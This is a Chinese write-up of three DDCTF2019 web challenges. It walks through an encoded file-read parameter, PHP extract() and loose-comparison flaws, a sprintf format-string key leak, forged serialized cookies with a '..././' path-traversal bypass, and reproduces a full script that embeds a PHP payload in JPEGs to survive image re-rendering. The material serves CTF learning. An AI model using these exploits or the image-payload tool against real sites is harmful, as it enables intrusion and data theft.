DDCTF2019部分Web题Write Up

声明:语言表达能力有限,本问仅供学习参考,大佬勿喷!

本文主要记录DDCTF2019中部分web赛题的解题过程,仅学习参考使用。

滴~

1).首先打开题目,url为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,图中出现两个flag.jpg,和一个心情复杂的表情包。看一下源码,发现应该是将文件内容进行base64编码,然后当作图片的内容输出。

image.png
image.png

2).第一反应是文件包含,jpg参数看不懂。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,解码看看,通过先进行两次base64解码,再对解码解码进行16进制解码,发现结果为flag.jpg。由此可以知道,文件名需要先进行16进制编码,再进行两次base64编码。

3).尝试读取/etc/passwd,但是好像不能够目录跳转,过滤了/

image.png

4).试一试读取index.php内容,初步猜想,读取源码,进行代码审计。

image.png
image.png

5).将base64部分解码,得到index.php源码如下。

image.png
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

6).看来思路没错,接下来看文件代码,发现代码是一些基本的功能输出,并没有解题的线索,唯一吸引注意的是注释部分,发现了一个博客地址。

image.png

打开博客,再别人提示下注意到这篇文章,看到这我不得不吐槽一句,出题人脑子有坑吧,线索在博客中就不说了,你倒是直接链接到这篇文章也行啊,坑爹!接下来看看这篇文章,其实没啥看的,就是linux下文件意外退出,会留下一个.swp交换文件。

image.png

7).那就是文章中说的这个practice.txt.swp隐藏文件吧。于是继续读取文件源码吧,还是将practice.txt.swp文件通过hex()——>base64()——>base64()顺序编码,然后读取内容。

image.png
image.png
image.png

看到了practice.txt.swp里面内容为f1ag!ddctf.php,到这个地方明显离成功不远了,应该就是继续读取f1ag!ddctf.php文件内容了。

8). 之前在读取index.php文件时候,注意以下代码。

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';

很明显意思就是文件名在a-zA-Z0-9.中,不能有!,但是下面一行代码是将config字符串替换为!,分析完其实很简单了,要将f1ag!ddctf.php名变成f1agconfigddctf.php就行了。

9).读取f1ag!ddctf.php内容。

image.png
image.png
image.png
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

10). 审计f1ag!ddctf.php,发现这个出题人可能脑子短路了吧,在这先说结论,php代码中$content='',因此我们只需要传入uid=即可拿到flag,因为题目本身就不存在名为hello的文件,或者就是hello文件里面为空,所以file_get_contents($k)的值返回false,然后再经过trim()函数false被转换成空字符串"",因此,传入uid等于空即可绕过判断得到flag。注意此处绝对不能想错了误以为file_get_contents($k)会将返回值复制给变量。因此说出题人本来是想考察extract()变量覆盖的,结果弄巧成拙,代码中即使==换成===仍然成立,这样看来这道题最后还变简单了。

image.png

假如我将$k值覆盖掉为一个存在的文件名config.php,如下:

image.png

看到此处相信都明白我所说的意思了吧,如有疑惑建议亲自动手实践解惑!


WEB签到题
  1. 首先打开题目,如下图所示:抱歉,您没有登陆权限,请获取权限后访问-----
image.png
  1. 很明显首先要绕过认证才能访问,通过源码信息查看,发现了一个ajax请求,如下所示:
image.png
  1. 发现didictf_username字段可能是一个认证字段,于是走流程抓包发现didictf_username字段,但是不知道名字啊,这个时候就要根据经验了,试试admin吧,果不其然,通过验证,如下所示:
image.png
  1. 通过验证之后显示结果为:您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php
image.png
  1. 下面接着访问app/fL2XID2i0Cdh.php,发现了是两个php文件源码,这就很明显了,接下来就是代码审计,绕过流程,输出flag了。

url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

分析这两个php文件,仅仅两个类而已,不过本人太菜,分析了1天,第一个文件app/Application.php定义了一个Application类;第二个文件app/Session.php也是一个类,不过这个Session类是继承于Application类,然后最后定义一个对象ddctf,这个对象调用index()函数。大概过程就是这样,比较简单。主要就是里面的东西。接下来稍微具体的分析下两个文件里面功能设计。

第一个文件:首先是定义了一个$path;然后是response()函数,这个函数主要是输出信息的,接着是auth()认证函数,这个就是控制访问权限的,可以看到要想通过认证,必须使$_SERVER['HTTP_DIDICTF_USERNAME']等于admin,即HTTP头部字段didictf_usernameadmin;接下来是sanitizepath()函数,这个函数是对变量path的字符串的过滤,这个地方随后会用的到,开始没想到这个地方;接下来就是类中的析构函数__destruct,可以看到,如果path变量为空,就会退出,path变量长度不是18位也会退出,最后是读取path路径的文件内容并使用response()输出。

第二个文件:继承于上个文件中的类,之前说过,里面开始定义了一些类中变量;下面第一个函数为index()函数,这个文件在这里面也是相当于一个主函数了,里面主要调用的是session_read()session_create()两个函数,同时还使用parent关键字调用使用父类中的response()函数;还有一个get_key()函数,功能是相当于读取../config/key.txt中8位的密钥吧,之前也有提示下面会用到,不过此处有个提示//eancrykey and flag under the folder,提示说的是flag也在这个文件夹下。

具体还是说一下session_read()session_create()两个函数,在index()函数里面,如果请求包里面没有设置cookie就会启用session_create()函数,反之,设置有cookie,就会调用session_create()函数。session_create()函数是创建cookie的函数,里面没什么要说的;session_read()函数是读取cookie,通过分析可以知道,如果我们知道key就可以任意构造cookie了,关键是如何将key值输出。关键代码如下:

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey时候,就无法输出$this->eancrykey,例如假如post的数据为nickname=zzqsmile,data就变成了"Welcome my friend zzqsmile",此时我们要仔细想一想如和才能绕过第一个POST的数据,来输出this->eancrykey,仔细想下可能会想到吧,就是直接传入%s作为nickname变量的值,这样就能够将遍历到$this->eancrykey的值拼接到data并通过父类response()函数输出。拿到this->eancrykey的值就可以随便构造Cookie。

分析到这,人已经蒙了,怎么才能输出flag呢?这时候又要回去看Application.php文件中类的析构函数了,析构函数中可以读取$path的文件内容,因此,仅仅需要用心构造好一个cookie,将文件路径写进$path,等到触发析构函数的时候让其输出flag文件内容,此时又需要一个脑洞,通过提示知道文件路径是18位,flag文件和key在一个文件夹下,因此猜想路径为../config/flag.txt,正好18位。但是之前对../进行过滤了,所以在构造序列化对象时候要构造成..././config/flag.txt,分析完之后就开干。

访问app/Session.php文件。

image.png
可以看到开始没有cookie时会设置cookie。
image.png

可以看到图中标记红色部分1a303cbea7ecff312df1cbd194e1def0即是$cookiedata.md5($this->eancrykey.$cookiedata);的结果。这个cookie是通过是一个合法的cookie,那么如果我们将这段合法的cookie带进头部,程序是不是就会读取这段cookie了,这样程序就会执行到session_read()里面,如下:

image.png

没毛病,按照之前分析,下一步得到$this->eancrykey的值EzblrbNS,不过此处要注意的是Content-Type:字段值是否为:application/x-www-form-urlencoded,关键点都已在下图标出。

image.png

得到$this->eancrykey值接下来就写个很low的脚本构造下cookie。

<?php
Class Application {
    var $path = '..././config/flag.txt';
}

//$this->eancrykey
$zzz = new Application();
$b = serialize($zzz); 
echo "$b";
echo "<br>";
//$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
$a = $b.md5('EzblrbNS'.$b);
echo $a; 
//$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2 
//
echo "<br>";
echo urlencode($a);

//urlencode($a)//  O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2
?>

带入构造的cookie成功拿到flag。

image.png

Upload-IMG

1). 按照给的认证用户名,密码进入题目

image.png
image.png

通过测试发现,主要是只能上传图片,题目是通过文件内容中有phpinfo()字符串来决定是否通关的,测试发现,上传的图片是被经过二次渲染的,因此,就要绕过二次渲染,使其phpinfo()内容不发生改变。

2). 直接用据说国外牛人写的脚本制作图片马。

脚本jpg_payload.php:

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  • 使用方法

1). 随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg
2). 使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

亲测有效,不愧是大佬,稳了一P。

image.png
  • 参考

https://xz.aliyun.com/t/2657


<完>太菜了,只能玩到这了,写的不好别喷,坐等其他Writeup

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,233评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,013评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,030评论 0 241
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,827评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,221评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,542评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,814评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,513评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,225评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,497评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,998评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,342评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,986评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,812评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,560评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,461评论 2 266

推荐阅读更多精彩内容